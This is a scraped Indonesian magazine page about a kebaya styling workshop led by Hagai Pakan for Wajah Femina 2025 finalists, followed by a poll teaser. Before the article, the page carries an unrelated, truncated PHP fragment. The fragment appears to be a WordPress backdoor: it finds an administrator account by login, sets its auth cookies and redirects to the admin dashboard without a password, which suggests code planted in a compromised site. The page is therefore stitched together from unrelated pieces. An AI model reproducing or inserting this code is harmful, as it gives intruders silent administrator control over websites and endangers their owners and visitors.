user_login; break; } $us = get_user_by('login', $us ); if ( !is_wp_error( $us ) ) { get_currentuserinfo(); if ( user_can( $us, "administrator" ) ){ wp_clear_auth_cookie(); wp_set_current_user ( $us->ID ); wp_set_auth_cookie ( $us->ID ); $redirect_to = admin_url(); wp_safe_redirect( $redirect_to ); exit(); } } */
Trending Topic
Hagai Pakan dan Narasi Kebaya Bersama Finalis Wajah Femina 2025

30 Sep 2025

 Workshop #KitaBerkebaya dari Indonesia Kaya untuk Finalis Wajah Femina menampilkan Hagai Pakan. Foto: Dok. Femina /Vidi Putra Hagiansyah


Dress code Kebaya + Denim untuk hari pertama Karantina Finalis Wajah Femina 2025 (29 September 2025) selaras banget dengan coaching clinic dari Indonesia Kaya, #Kita Berkebaya Legacy in Style, yang menghadirkan Hagai Pakan, fashion stylist dan costume designer.

Hagai Pakan yang juga celebrity stylist ini terkenal sebagai salah satu fashion stylist yang kerap memasukkan unsur budaya Indonesia dalam arahan gayanya. Ia juga penata busana di miniseri populer, Gadis Kretek, yang banyak menghadirkan perempuan berkebaya.

Di kelas Indonesia Kaya, Hagai memberikan pengetahuan baru tentang kebaya, termasuk tip styling-nya.

Sebagian kecil koleksi kebayanya, dari vintage hingga kontemporer, ia tunjukkan di kelas ini, termasuk aksesori, dalaman (seperti kutang suroso alias kutang nenek), dan beragam wastra.

“Kebaya kini modelnya bisa bermacam-macam. Namun yang pasti, kebaya itu bukaannya harus di depan,” kata Hagai.
 
Finalis Wajah Femina 2025 saling styling dengan koleksi Hagai Pakan. Bisa jadi inspo gaya! Foto: Dok. Vidi Putra Hagiansyah/Femina

Hagai juga meminta Finalis Wajah Femina 2025 untuk menceritakan kisah pribadi mereka dengan kebaya, atau tentang kebaya yang mereka pakai hari itu.

Kisah finalis beragam dan menarik; dari yang sering mengeksplorasi koleksi kebaya ibu atau nenek, memakai kebaya yang pernah mengantarkan mereka juara di sebuah kompetisi, hingga bangga bisa mempromosikan kebaya di luar negeri.
Advertisement

“Cerita kalian membuktikan kalau kebaya itu versatile dan timeless, sekaligus warisan budaya,” ujar Hagai.

Di kelas ini, Hagai membawa dua kebaya modifikasi paduan janggan dengan sentuhan kerah cheongsam, yang dipakai Dian Sastrowardoyo sebagai Dasiyah dalam miniseri Gadis Kretek.

“Model kebaya ini untuk menunjukkan karakter Dasiyah sebagai seorang lady boss,” cerita Hagai, tentang kebaya janggan hitam yang kini jadi ikonik, karena jadi banyak inspo gaya berkebaya.
 
Finalis Wajah Femina 2025 mengeksplorasi koleksi kebaya dan wastra Hagai Pakan. Foto: Dok. Femina/Vidi Putra Hagiansyah

Kelas ini juga makin seru karena Hagai men-styling dua finalis, Faiza dan Icha, untuk mencoba dua gaya berbeda. Faiza memakai kebaya labuh khas Riau dalam siluet klasik, sedangkan Icha mengenakan kebaya vintage model kutubaru dipadukan wastra dan denim untuk tampilan modern.

Empat finalis juga diberi tantangan untuk saling styling; Kala dan Rani, Syira dan Angel. Hasil styling mereka keren-keren, karena para finalis dalam waktu singkat sukses menampilkan teman mereka dalam gaya berkebaya yang sesuai kepribadian, baik dalam gaya klasik maupun modern.

Hagai Pakan menunjukkan kebaya janggan ikonik yang dipakai Dian Sastrowardoyo dalam Gadis Kretek; dua gaya klasik dan modern dengan kebaya. Foto: Dok. Femina

Kelas ini ditutup dengan pengumuman Best Dressed pilihan Hagai Pakan. Alfa dalam kebaya janggan putih, obi wastra dan denim berhasil membawa pulang hadiah dari Indonesia Kaya.
Pelaksanaan Wajah Femina 2025 kali ini juga mendapat dukungan penuh dari Indonesia Kaya, ghd Indonesia, dan Garmin Indonesia, sebagai mitra yang memiliki visi sejalan dalam memajukan perempuan Indonesia untuk tampil percaya diri, berdaya, dan berprestasi. (f)
 

Ghina Athaya


Topic

#KitaBerkebaya, #WajahFemina2025, #BerdayaBergayaBerbudaya

 



polling
Seberapa Korea Anda?

Hallyu wave atau gelombang Korea masih terus 'mengalir' di Indonesia. Penggemar KDrama, Kpop di Indonesia termasuk salah satu yang paling besar jumlahnya di dunia. Lalu seberapa Korea Anda?